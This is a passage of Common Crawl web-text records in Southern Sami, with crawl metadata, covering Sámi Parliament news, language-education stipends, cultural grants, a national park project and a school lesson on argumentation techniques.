2009-09-11","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/fassemedaarjoe.4.2aeb902411d30c9e460800061520.html","date":"2019-05-24T22:00:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257767.49\/warc\/CC-MAIN-20190524204559-20190524230559-00379.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":133,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkiepresidente Aili Keskitalo gegkeste åejvieladtjh jïh joekoen reerenasse daelie tjalmahtieh man itjmies tsiehkie lea.\n– Mijjieh libie Saemiedigkien bieleste pryöveme dejtie gåaskodh daennie aamhtesisnie, men gaatesjen ij vååjnh goh mijjieh dam buektiehtibie. Dotkeme vuesehte saemieh vielie daaresjimmiem jïh vædtsoesvoetem dååjroeh goh jienebelåhkoen årrojh. Daelie aaj njieljie ovmessie moenehtsh EN-systeemesne Nöörjem juvnehtamme aktem buerebe barkoem darjodh dagkerh aamhtesinie. Læjhkan ij naan politihkerh reerenasseste båetieh bearjadahken bæjhkoehtimmieseminaarese, Keskitalo jeahta.\nAkte reektehtse Nasjonaale maahtoejarngeste vædtsoesvoeten jïh traumatihkeles raessien bïjre 2017, mij sjïerelaakan vædtsoesvoetem lïhke fuelhkine saemien siebriedahkine bæjjese vaalta, vuesehte pollise jïh viehkieabparaate eah nuekie maahtoem utnieh saemien gïelen jïh kultuvren bïjre. Mïrrestalleme- jïh sïerredimmietjirkije Hanne Bjurstrøm aaj veanhta reerenasse ij nuekie darjoeh.\n– Hijven dotkeme lea aalkeme, men vielie dotkeme daerpies. Seamma tïjjen nuekie daejrebe guktie maehtebe råajvarimmieh evtiedidh jïh aelkedh. Mijjieh aktem ellies geatskanimmiem fååtesibie barkosne vædtsoesvoetine lïhke fuelhkine saemien byjresinie. Gyhtjelasse mij båata lea mejtie daate barkoe læjjede raaktan dan åvteste barkoe lea golme departemeenti gaskem joekedamme; TOD - MMD – JD, Bjurstrøm jeahta\nEN dåeriesmoerem vuajna\nRuffien aalkoelisnie EN:n maanamoenehtse juvnehtimmiejgujmie bööti Nöörjese mah jeehtin dah tjuerieh aktem buerebe barkoem darjodh daejnie aamhtesinie. Aarebistie EN:n nyjsenemoenehtse, EN:n almetjereaktamoenehtse jïh EN:n moenehtse tortuvren vööste plearoeh juvnehtimmiejgujmie båateme.\n– Daelie gosse Nöörjen jïjtse almetjereaktainstitusjovne juvnehtimmiejgujmie båata råajvarimmiej bïjre dennie guhkiebasse barkosne, åejvieladtjh byöroeh goltelidh. Eah maehtieh jåerhkedh mijjem gïetedidh naemhtie jïh seamma tïjjen baajedh årrodh dotkemeilledahkh krööhkestidh mah dam itjmies tsiehkiem vuesiehtieh man sisnie saemieh leah, Keskitalo jeahta.\nKeskitalon mïelen mietie maahta åejvieladtji faatoes dahkoeh meadtojne laaken vööste viertiestidh.\n– Europeejen almetjereaktariektie (daaroen EMD) lea aarebi tjïertestamme faatoes dahkoej jïh iktedimmiej gaavhtan, gosse ovmessie bielieh dehtie byögkelesvoeteste, dovne pollise jïh jeatjah viehkieabparaate, daejrieh naaken vædtsoesvoetem, daaresjimmieh jallh hoksevaanoem dååjroeh, staate maahta dööpmesovvedh dan åvteste dïhte sov åeliedimmieh europeejen almetjereaktakonvensjovnen mietie mïedtele, Keskitalo jeahta jïh akten dahkoesoejkesjen mietie gihtjie.\n– Saemiedigkie lea Reerenassem birreme aktem dahkoesoejkesjem darjodh juktie vædtsoesvoetem lïhke fuelhkine saemien siebriedahkine heerredidh. Daesnie ibie maehtieh seassoeh årrodh, vædtsoesvoete lïhke fuelhkine skaarine sjædta dovne dan aktegs almetjasse jïh siebriedahkese, Keskitalo jeahta.\nMïrrestalleme- jïh sïerredimmietjirkije Bjurstrøm veanhta Nöörje aktem ellies nasjonaale dahkoesoejkesjem daarpesje vædtsoesvoeten vööste lïhke fuelhkine, dan åvteste dïhte båeries dahkoesoejkesje nåhki 2017. Dïhte daejtie minngiebidie biehkide tjuvtjede mah tjuerieh meatan årrodh aktene dagkeres dahkoesoejkesjisnie.\n- Råajvarimmieh mah leah sjïehtedamme dejtie sjïere daerpiesvoetide saemien årroji luvnie, jïh mah aktem ellies jïh iktedamme faalenassem gorredieh gusnie abpe viehkiesvaalhtese laavenjostoe jïh kultuvrelle vuajnoem jïh goerkesem åtna. Jïh viehkieabparaate tjuara nuekies lïerehtimmiem åadtjodh gïelen jïh kultuvren bïjre.\n- Gïeleldh sjïehteladteme tjuara gorresovvedh gaajhkine bieline heerredimmien raejeste, viehkie dejtie mah dam dååjroeh jïh riektiedahkoeh.\n- Saemien siebrieh tjuerieh meatan vaaltasovvedh evtiedimmesne jïh evalueradimmesne råajvarimmijste vædtsoesvoeten vööste lïhke fuelhkine, dovne sjïere råajvarimmieh jïh sïejhme råajvarimmieh.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-AAejvieladtjh-tjuerieh-vaedtsoesvoetem-jih-daaresjimmieh-itjmieslaakan-vaeltedh","date":"2019-05-19T18:39:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255092.55\/warc\/CC-MAIN-20190519181530-20190519203530-00399.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":427,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Ij leah eajtohte ajve akte learoehkinie\n– Daate ööhpehtimmie båajhtoeh premissine sjædta. Akte dagkeres öörnege gusnie edtjieh aktem stoerre stipendem vedtedh dejnie aajkojne noerh skreejrehtidh lohkehtæjjine sjïdtedh maahta båajhtoeh skraejriem vedtedh. Skraejrie tjuara årrodh noerh sijhtieh lohkehtæjjine barkedh jïh ij dan åvteste dah stipendem åadtjoeh 1 millijovnh kråvnine. Dah lin maaje maahteme daejtie beetnegidie vedtedh dejtie lohkehtæjjide mah joe leah ööhpehtimmiem vaalteme jïh mah sijhtieh jïjtjemse åarjelsaemien gïelesne evtiedidh elliesstudiji tjïrrh, Malin K. Sandvik Wilks jeahta, mij lea lohkehtæjjaööhpehtimmiem vaalteme jïh aktem stoerre dïedtem åarjelsaemien sisnjelen åtna dovne jåarhkeskuvlesne jïh gïelejarngine.\nEvteben våhkoen lij byögkeles rïhpestimmie lohkehtæjjaööhpehtimmeste åarjelsaemien jïh julevsaemien gïelesne Bådåddjosne. Akte prosjekte gusnie fïerhte studente 200.000 kråvnah stipendesne åådtje fierhten jaepien, doh vïjhte jaepieh ööhpehtimmie vaasa. Jïh fåantoe lea jienebh lohkehtæjjah gïelemaahtojne dåårrehtidh. Mearan ööhpehtimmie julevsaemien gïelen sisnjelen lij eevre dïeves, dellie lij ajve akte studente mij veelji studijem vaeltedh åarjelsaemien gïelesne.\n–Mijjieh maam akt jeatjah daarpesjibie.\nMalin K. Sandvik Wilks veanhta åssjalommese aktine stipendeöörneginie juktie jienebh lohkehtæjjah skååffedh lea gujht hijven, men daelie åajaldamme dejtie mah joe leah lohkehtæjjaööhpehtimmiem vaalteme jïh mah sijhtieh jåarhkeööhpehtimmiem vaeltedh åarjelsaemien gïelen sisnjelen.\n– Manne saemien 2 vaadtsam Noerhte Universiteetesne daan jaepien jïh leam jeenjesigujmie digkiedamme mah leah aajhpehts dan åvteste fokuse lea orre lohkehtæjjah dåårrehtidh, men dah leah mijjem åajaldamme mah joe aktem lohkehtæjjaööhpehtimmiem utnieh. Mijjese, mah sijhtieh mijjem åarjelsaemien evtiedidh, ij leah naan jeatjah faalenasse goh daah bielietïjjenstudijh mah leah joekoen krïevije dovne barkose jïh fualhkan dan åvteste dah studijh leah hïelji, Wilks tjïelkeste mij veanhta Saemiedigkie, fylhkentjïelte jïh Noerhte Universiteete båajhtode darjoeh gosse fokusem utnieh orre lohkehtæjjah ööhpehtidh.\n- Ij leah eajtohte\nAsbjørn Kolberg, voesteslektovre fakulteetesne lohkehtæjjaööhpehtæmman, tjeahpose jïh kultuvrese Noerhte Universiteetesne Bådåddjosne jeahta ij leah eatjohte jalhts ajve akte almetje mij åarjelsaemien soptseste lea faalenassem dååsteme lohkehtæjjaööhpehtimmien bïjre 1 millijovnh kråvnajgujmie stipendesne. Stipendeöörnege akte ektie öörnege gaskem Nordlaanten fylhke, Trööndelagen fylhke, saemien reeremetjïelth jïh Saemiedigkie.\n– Jalhts ajve akte learohke ij leah eajtohte, numhtie lea. Mijjen limh 8-10 ohtsijh jïh dejstie 5 nuekies maahtoem utnin. Gaatesjen nieljie dejstie idtjin veeljh ööhpehtimmiem aelkedh daan jaepien. Men 2 leah jeahteme dah sijhtieh syökedh vihth mubpien jaepien. Manne tuhtjem mijjieh jïjnjem darjoejimh juktie studenth dåårrehtidh, men dagke limh maahteme vielie darjodh. Akte jeatjah fåantoe lea åejvieladtji jolle tsaekemekrïevenassh v.g. matematihkesne, naakede mij hævvi ohtsijelåhkoem giehpede. Mubpien jaepien vuarjasjibie aaj daejtie studijidie dovne goh elliestïjjen jïh bielietïjjen faalenassh utnedh, guktie dah mah gaskem jeatjah leah båatsosne maehtieh buerebe nuepieh åadtjodh dovne barkedh jïh ööhpehtimmiem vaeltedh, Kolberg jeahta.\nUlmie lea bachelore 2020\nLæjhkan Kolberg seamede daelie gujht tïjje båateme aktine elliestïjjen bachelorine åarjelsaemien gïelesne. Daate maahta aarebi båetedh goh saemiedigkieraerie Mikkel Eskil Mikkelsen aerviedi SÁMi Ođasmagasiidnese evteben låhkosne. Dïhte aerviedi nov sån sæjhta unnemes 10 jaepieh vaesedh åvtelen buektehte aktem elliestïjjen åarjelsaemien ööhpehtimmiem faalehtidh.\n–Manne sïemes mijjieh byörebe aktem elliestïjjen bachelorem utnedh åarjelsaemien gïelesne, jïh mijjen ulmie lea dam buektiehtidh, men daan biejjien ibie dam buektehth dan åvteste mijjieh lohkehtæjjah fååtesibie akten dan jolle njeaptjan. Mijjieh tjarke dejnie barkebe jïh manne gegkestem mijjieh edtjebe dam buektiehtidh jaepien 2020, Kolberg jeahta.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/samimag.no\/sma\/content\/ij-leah-eajtohte-ajve-akte-learoehkinie","date":"2019-05-25T15:00:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258120.87\/warc\/CC-MAIN-20190525144906-20190525170906-00231.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":483,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïele\nStipende\nStipende jollebe ööhpehtæmman julevsaemien jallh åarjelsaemien gïelesne, jïh saemien gïeleööhpehtimmie studentide maarkasaemien dajveste\nSaemiedigkie stipendem vadta studentide mah jollebe ööhpehtimmiem julevsaemien jallh åarjelsaemien gïelesne vaeltieh, jïh studentide maarkasaemien dajveste mah saemien gïeleööhpehtimmiem vaeltieh.\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Daaarjoe-jih-stipende?tag=86","date":"2019-05-25T05:34:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257889.72\/warc\/CC-MAIN-20190525044705-20190525070705-00063.warc.gz","language":"sma","language_score":0.9999929667,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999929666519165}","num_words":63,"character_repetition_ratio":0.11,"word_repetition_ratio":0.0,"special_characters_ratio":0.108,"stopwords_ratio":0.206,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen stilleme\nÅålmegemiehtjieprosjeekte ikth vielie eelki jaepien 2017 mænngan prosesse lij tjöödtjestamme, jïh njoktjen asken jaepien 2018 dle aktem revideereme prosjeektesoejkesjem nænnoestamme mesnie aaj baeliesoejkesje.\nÅålmegemiehtjieprosjeekten ulmie lea raeriestidh guktie maehtedh åålmehmiehtjiem tseegkedh Bijjie Spædtja-Bealjehkh-Helagen dajvesne. Daan bïjre edtja organisasjovni, sïjti, tjïelti jïh jeatjah jielemi ektesne raeriestidh jïh ektesne barkedh. Prosjeekte edtja aaj vaaksjodh ahte dah gïeh dajvesne jallh dajven lïhkesdajvesne årroeminie jïh jielieminie edtjieh nuepiem utnedh meatan årrodh dam prosessen bïjre digkiedidh.\nAhte dah gïeh prosjeekte doehtede åadtjoeh meatan årrodh raeriestidh åålmegemiehtjien bïjre daerpies jis edtja buerie hammoem jïh guarkemem åadtjodh. Juktie vihkeles gyhtjelasside digkiedidh hammoen bïjre jis edtja åålmegemiehtjie sjïdtedh dle sjïere ryöjredimmiedåehkie gååvnese gusnie almetjh tjïeltijste, sïjtijste, Saemiedigkeste jïh turismejieliemistie. Lissine sjïere barkoedåehkie edtjieh jaepien 2019 tseegkesovvedh.\nDejtie veeljemidie mejtie tjuerieh prosjeekten sisnie dorjesovvedh edtjieh jieleme-, kultuvre-, jïh dååjresevierhtide jïh dajven båatsoejielemem vuavkasjidh. Nænnoes gorredimmie guhkiesmearan edtja jarngesne årrodh.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.valadalen-sylarna-helags.se\/vart-uppdrag-sam\/","date":"2019-05-24T11:32:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257605.76\/warc\/CC-MAIN-20190524104501-20190524130501-00183.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":139,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte guhte tjiehpies argumenteradidh guarka guktie dåastoje ussjede jïh damta, jïh dam sov argumentasjovnesne nuhtjie.\nArgumenteradidh\nDïhte guhte tjiehpies argumenteradidh guarka guktie dåastoje ussjede jïh damta, jïh dam sov argumentasjovnesne nuhtjie. Ij leah ajve digkiedæjjah dååjrehtimmine mah naemhtie darjoeh. Gaajhkesh mijjieh såemies argumentasjovne-vuekieh nuhtjebe mah voerkeslaakan dåastojen vuajnoeh jïh domtesh tsevtsieh.\nJienebelåhkoe-raerie\n\"Gaajhkh jeatjebh luhpiem åadtjoeh jovkedh, barre im manne!\" lea akte vuekie jienebelåhkoe-raereste maam jïjnjh eejhtegh leah govleme tïjje doekoe. Men raaktan maereles maam gaajhkh jeatjebh darjoeh?\nAarvoe-raerie\nSeedtije maahta dåastojen aarvojde jallh jielede-vuajnose appelleradidh juktie dam jaehkiehtidh: \"Dastegh mijjieh raaktan tuhtjebe vihkeles kreeke-jieledem noerhtene vaarjelidh, guktie maehtebe dellie åålja-boeresjimmiem Lofotenisnie jïh Vesterålesne luhpiedidh?\"\nLuptestimmie\nAkte jeatjah nuepie lea dåastojem garmerdidh jallh dam luptestidh: \"Manne tuhtjem datne dan joekoen væjkele maadtesne. Maahtah gïemhpe årrodh mannem viehkiehtidh daejnie ryöknedimmie-stuhtjine?\"\nJiermie-raerie\nAkte såarhts luptestimmie-vuekie lea jiermie-raerie: \"Datne mij dan jïermijes almetje, datne dån guarkah datne byörh gåetiem daelie åestedh. Åasah sijhtieh ajve læssanidh.\" Viehkine naemhtie jiehtedh dle håalije göökte tjoerehkh seamma aejkien tsaapma: Dïhte dåastojem garmerde gosse jeahta dïhte dan jïermijes, seamma tïjjen goh satne lea dïhte mij muana, mij lea væjsehke jallh jabjoeh.\nJienebelåhkoe-raerie\nDoh jeanatjommesh tuhtjieh jearsoes domtoe gosse mubpieh sijjine seamadieh. Seedtije maahta dam nuhtedh viehkine vuesiehtimmien gaavhtan ektievoetese jallh jienebe-låhkose vuesiehtidh: \"Ij leah ajve datne mij dam meala. Mahte abpe tjïelte-ståvroe lea ektesne daan krïevenassen bïjre.\" \"Doh jeanatjommesh leah sïemes daan biejjien …\" Maahta jaehkemes årrodh gosse naaken jeahta sov duekesne jeenjesh mah seamma mïelem utnieh jallh seammalaakan darjoeh. Men ij leah gujht seekere dïhte lea saatnan – jallh jienebelåhkoe iktesth reaktoem åtna.\nAnalogije-raerie (plearoeh tsiehkie)\nGosse edtjebe mïelem bagkesidh aktene aamhtesisnie, dellie maaje viertiestibie plearoeh tsiehkiejgujmie mej bïjre govleme jallh jïjtjh dååjreme. Mijjieh aarebi dååjrehtimmieh dåarjojne nuhtjebe dan åvteste dïhte mijjese aktem såarhts jearsoesvoetem vadta. \"Gosse klaassetuvrem öörnedi dæjman, dellie ajve bielie klaasseste mij bööti. Dïhte fer nåake. Dan åvteste ij naan tuvre sjïdth daan jaepien.\"\nSaernie-raerie\nBaakoe \"orre\" mijjem almetjidie tsavtsa jïh joekoen daamtaj vïenhtebe eevre ov-laejhtehks mij akt orre lea seamma goh buerebe. Dïhte guhte lea man akt orre vööste, daamtaj gohtjesåvva måsnoeraavve. Jïh ij guhte gænnah sïjhth dam årrodh, dan åvteste maahta geerve dïhte årrodh mij ijje jeahta.\nAerpievuekie-raerie\nGosse aerpievuekie-raeriem nuhtjebe, dellie nuhtjebe ussjedimmie-vuekiem \"naemhtie iktesth dorjeme, jïh naemhtie edtjebe jåerhkedh darjodh.\" Doh jeanatjommes tuhtjieh jearsoes domtoe aath gååvnesieh mah eah jorkesh. Men tjoerebe måjhtalidh jarkelimmie maahta hijven årrodh!\nPersovne-laejhteme\nMuvhten aejkien heannede naaken pryövoe aahpeldidh dejtie mah ov-geahpan, jallh pryövoe sovmem seejedh naan almetjen motijvi jallh eerlegevoeten bïjre. Daate maaje dorjesåvva gosse ij naan maereles argumeenth vielie utnieh.\nBaakoeh\nSaemien\nDaaroen\nargumentasjovne-vuekieh\nargumentasjonsmåter\nargumentasjovne-raerie\nargumentasjonsråd\njienebelåhkoe-raerie\nflertallsrådet\nåålja-boeresjimmie\noljeboring\nluptestimmie\nsmisking\njiermie-raerie\nfornuftsråd\ntjïelte-ståvroe\nkommunestyre\nanalogije-raerie\nanalogiråd\nsaernie-raerie\nnyhetsrådet\naerpievuekie-raerie\ntradisjonellt råd\npersovne-laejhteme\npersonangrep\nArgumentasjovneKjernestoff\nNihtieh kreeke-pryövenassh!Kjernestoff","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172880\/topic:1:182050\/resource:1:173005","date":"2019-06-18T17:39:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998808.17\/warc\/CC-MAIN-20190618163443-20190618185443-00201.warc.gz","language":"sma","language_score":0.9999815226,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999815225601196}","num_words":444,"character_repetition_ratio":0.056,"word_repetition_ratio":0.028,"special_characters_ratio":0.144,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie lea dåarjoem saemien gïeleprosjektide vadteme, jïh daan aejkien lea gïeleprosjekth prioriteradamme åarjel-, pijte- jïh julevsaemien dajvine. Dej gaskem mah dåarjoem åadtjoeh lea Rørosnytt mij 300.000 kråvnah åådtje juktie åarjelsaemien saerniesæjroem tseegkedh nedtesne.\n–Daelie åarjelsaemien aalka nænnoesåbpoe sjïdtedh, mænngan tjarke håvhtadamme orreme. Åarjelsaemien saerniekanaalem tseegkedh maahta joekoen vihkeles årrodh juktie åarjelsaemien nænnoestehtedh goh aarkebiejjien gïele, saemiedigkiepresidente Aili Keskitalo jeahta.\nUlmie prosjektine lea åarjelsaemien saerniesæjroem tseegkedh saerniejgujmie mah leah åarjelsaemiej bïjre jïh åarjelsaemien redaksjovnem tseegkedh.\n–Mijjieh utnebe vihkeles åarjelsaemieh maehtieh saernieh jïh jeatjah sjyöhtehke aamhtesh jïjtsh gïelesne gaavnedh. Daate nedtesæjroe sæjhta dovne åarjelsaemien nænnoestehtedh jïh evtiedidh, Keskitalo jeahta.\nÅarjelsaemien seminaare jïh saemien filmefestivaale\nJeatjah åarjelsaemien prosjekth mah dåarjoem åådtjeme leah Trööndelagen fylhkentjïelte \/ Aajege gïelejarnge mij 100.000 kråvnah dåarjojne åådtjeme juktie seminaarem Gïeleviermie öörnedidh åarjelsaemien gïeletsiehkien bïjre mij Rørosesne öörnesåvva gålkoen 7. – 8. b.\nRørosen tjïelte 80.000 kråvnah åadtjoeji juktie raastendåaresth saemien filmefestivaalem öörnedidh gålkoen 7. -10. b. Daate festivaale edtja akte bielie årrodh festivaaleste Raasten Rastah mij öörnesåvva fïerhten jaepien.\nDåarjoe jieliehtæmman pijtesaemien gïeleste\nDuoddare Ráfe Beiarn tjïeltesne 300.000 kråvnah åådtje juktie pijtesaemien gïelem jieliehtidh. Duoddara Ráfe edtja gaskem jeatjah pijtesaemien gïeleïedtjeladtjigujmie sveerjen bielesne laavenjostedh.\nJulevsaemien dajvesne Hábmeren (Hamarøy) tjïelte 75.000 kråvnah dåarjojne åådtje gïelekuvsjese maanide saemien voestesgieline jïh 75.000 kråvnah gïelekuvsjese maanide saemien mubpiengïeline.\nLidteratuvregaavnedimmie, gïelekuvsje, vuelkeme-appe jïh skyllemejerkie\nNoerhtesaemien prosjekth aaj dåarjoem åådtjeme. Čálliid lágádus 300.000 kråvnah åådtje prosjektese \"Sámegielat girjjit ohcet geavaheddjiid\" (saemien gærjah utnijh ohtsedieh). Prosjekte 25 gaavnedimmieh öörnede gusnie tjaelijh maanah jïh noerh sjollehtieh lohkeminie jïh dorjehtimmine.\nUnjargan (Nesseby) tjïelte 150.000 kråvnah gïelekuvsjese åådtje mij edtja dejtie viehkiehtidh mah saemien aalkoekuvsjem vaalteme, aelkedh saemiestidh.\nSaemiedigkieraerie aaj 200.000 kråvnah dåarjojne vadteme prosjektese Bædi & Børdi, mij akte vuelkeme-appe saemien gïelesne maanide Noerhtenöörijen turistesijjiej bïjre.\nSaemien gærhkoeraerie 150.000 kråvnah prosjektedåarjojne åådtje juktie saemien skyllemejerkiem öörnedidh. Daan jaepien lea 6. aejkien skyllemejerkie öörnesåvva.\n–Joekoen sjollehke mijjieh dan stoerre ïedtjem gïeleprosjektide dååjrebe daan jaepien gosse lea aalkoealmetji gïelejaepie, saemiedigkiepresidente Aili Keskitalo jeahta.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/rorosnytt.no\/daarjoe-orre-aarjelsaemien-saernienedtesaejrose\/","date":"2019-06-16T09:37:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998084.36\/warc\/CC-MAIN-20190616082703-20190616104703-00118.warc.gz","language":"sma","language_score":0.9999902248,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999902248382568}","num_words":295,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raerielïhtsege\nKrirrie: NSR\nSaemiedigkien åejvielaavenjasse kultuvrepolitihkesne lea sjïehteladtedh saemien kåanste- jïh kultuvredarjoemidie jïh tjeahpoem evtiedidh. Saemien siebriedahke lea annje bigkemeboelhkesne, gusnie prioriteradamme jïh annje tjuara prioriteradidh betniesuerkieh kultuvren jïh gïelen sisnjeli. Daate aktem tjarke barkoem kreava saemien siebriedahkeste, saemien institusjovnijste, Saemiedigkeste jïh staateles åejvieladtjijste. Saemiedigkie vuajna sov lea dïedte vaarjelidh jïh evtiedidh dam skraejriem jïh doh darjomh mej åvteste saemien årrojh dïedtem vaeltieh, jïh sijhtieh vihkielommes premissedeallahtæjja årrodh daennie prosessesne. Staateles åejvieladtjh læjhkan dam bijjemes dïedtem utnieh sjïehteladtedh guktie saemien siebriedahke jïjtje nuepiem åådtje sov siebriedahkebigkemem guhkiebasse evtiedidh. Regijonaale jïh voenges åejvieladtjh aaj dïedtem utnieh viehkiehtidh aktine ektie evtiedimmine saemien kåansteste, kultuvrejieliedistie jïh saemien institusjovnijste.\nSaemiedigkie barka ihke gaajhkesh edtjieh nuepiem utnedh saemien kåanstem jïh kultuvrem dååjredh. Sïjhtebe sjïehteladtedh akten jielije jïh gellielaaketje kåanste- jïh kultuvrejieliedasse hijven kvaliteeteste mij sjugniesåvva, mejnie almetjh gïehtelieh, våajnoes dorjesåvva jïh maam gaajhkesh dovnesh maehtieh dååjredh.\nMeedijah jïh bæjhkoehtimmieh\nSaemien meediji laavenjassh leah saemien årroejidie bïevnedh jïh daajroeh, saetniesvoeth jïh goerkesem beagkoehtidh siebriedahken stoerre gellievoeteste.\nSaemien meedijafaalenasse jïh saemien bæjhkoehtimmieh leah joekoen vihkeles juktie saemien gïelh våajnoes darjodh, goh akte bielie gïeleevtiedimmeste jïh gïelelïerehtimmeste gaajhkide saemien årroejidie, jïh joekoen maanide jïh noeride..\nUlmie Saemiedigkien viehkievierhtiejgujmie bæjhkoehtimmide jïh jeatjah meedijidie lea gelliesåarhts meedijah mah saemien gïelem, kultuvrem jïh siebriedahkejieledem vuesiehtieh. Bielieulmie lea saemien bæjhkoehtimmieh bæjjese bigkedh jïh evtiedidh mah eadtjohkevoetem siebriedahkesne sjugniedieh.\nDoh ryöktesth dåarjoeh bæjhkoehtimmide jïh jeatjah meedijidie edtjieh viehkiehtidh sijjieh sjugniedidh gusnie saemien gïele, kultuvre jïh siebriedahkejielede aktem jïjtjeraarehke gïelem utnieh jïh identiteetem sjugniedieh.\nSametingsrådets redegjørelse om samisk litteratur\nIdrett\nGaarsjelimmie aktem vihkeles sijjiem åtna saemien siebriedahkesne. Histovrijen mietie fysiske darjomh akte bielie orreme saemien kultuvreste.\nGosse daerpiesvoeth leah jorkesamme dellie daah darjomh hammoem jïh sisvegem jarkelamme, jïh daan biejjien gaarsjelimmie dovne jolle daltesisnie jïh mosjovnedaltesisnie.\nUlmie Saemiedigkien ekonomeles vierhkievierhtide gaarsjelæmman lea gellielaaketje gaarsjelimmiedarjomh. Bielieulmie akte gamte jïh hijven gaarsjelimmiefaalenasse saemien årroejidie.\nSaemiedigkie ryöktesth dåarjoem vadta golme siebride mah saemien gaarsjelimmiedarjomh öörnedieh: Sámiid Valáštallanlihttu-Norga\/Saemiej gaarsjelimmiesiebrie Nöörje (SVL- N), Sámi Heargevuodjin-lihttu\/Saami Reindeer-Race Federation (SHL) jïh FA Sápmi.\nLissine Saemiedigkie dåarjoem vadta ihke noerh maehtieh meatan årrodh dovne gaarsjelimmie- jïh kultuvrebielesne gaahtjemisnie Arctic Winter Games (AWG).\nRyöktesth dåarjoe gaarsjeæmman edtja viehkiehtidh guktie saemien gaarsjelimmiesiebrieh maehtieh aktem gaarsjelimmiefaalenassem evtiedidh dovne gamte- jïh bijjiedaltesisnie.\nKunst- og kulturutøvelse\nSametingets ansvar når det gjelder utvikling av samisk kunst er å sørge for at kunstnerne har gode og forutsigbare rammevilkår for sin virksomhet. Vi skal både legge til rette for at vi har et mangfoldig samisk kulturliv samtidig som vi skal legge til rette for profesjonalisering og kvalitet. Vi skal legge til rette for tradisjonelle uttrykksformer, samtidig som vi skal legge til rette for samisk samtidskunst.\nSametingets viktigste verktøy i dette arbeidet er våre økonomiske virkemidler, men også den påvirkningsmuligheten vi har gjennom dialog, kontakt og samarbeid med andre offentlige myndigheter.\nSametingsråd Henrik Olsen deltar på Bransjetreff for litteraturfeltet som Finnmark fylkeskommune arrangerer i Harstad 28. juni. Bransjetreffet arrangeres som et ledd i Nordnorsk litteraturstrategi og Henrik Olsen skal holde et innlegg med fokus på samisk litteraturpolitikk.\nSametinget har søkerbaserte tilskudd til kulturutøvelse, det kan søkes om midler til samiskspråklig litteratur, samisk musikk, samiskspråklige tegneserier, samiske forlag og kulturtiltak. Kunstneravtalen er en samarbeidsavtale inngått mellom Sametinget og Sámi Dáiddárráđđi\/Samisk kunstnerråd (SDR).\nKunstneravtalen\nSametinget og Sámi Dáiddárráđđi\/Samisk kunstnerråd (SDR) har inngått en samarbeidsavtale (kunstneravtale). På grunnlag av kunstneravtalen gjennomfører Sametinget og SDR årlige forhandlinger der innhold og økonomisk ramme for kommende års avtale blir fastsatt.\nSamisk kunstneravtale består av midler til kunstfond, stipend til samiske kunstnere, visningsvederlag og driftsstøtte til kunstnerorganisasjonene og Samisk kunstnerråd.\nVedtatt i Sametingets plenum juni 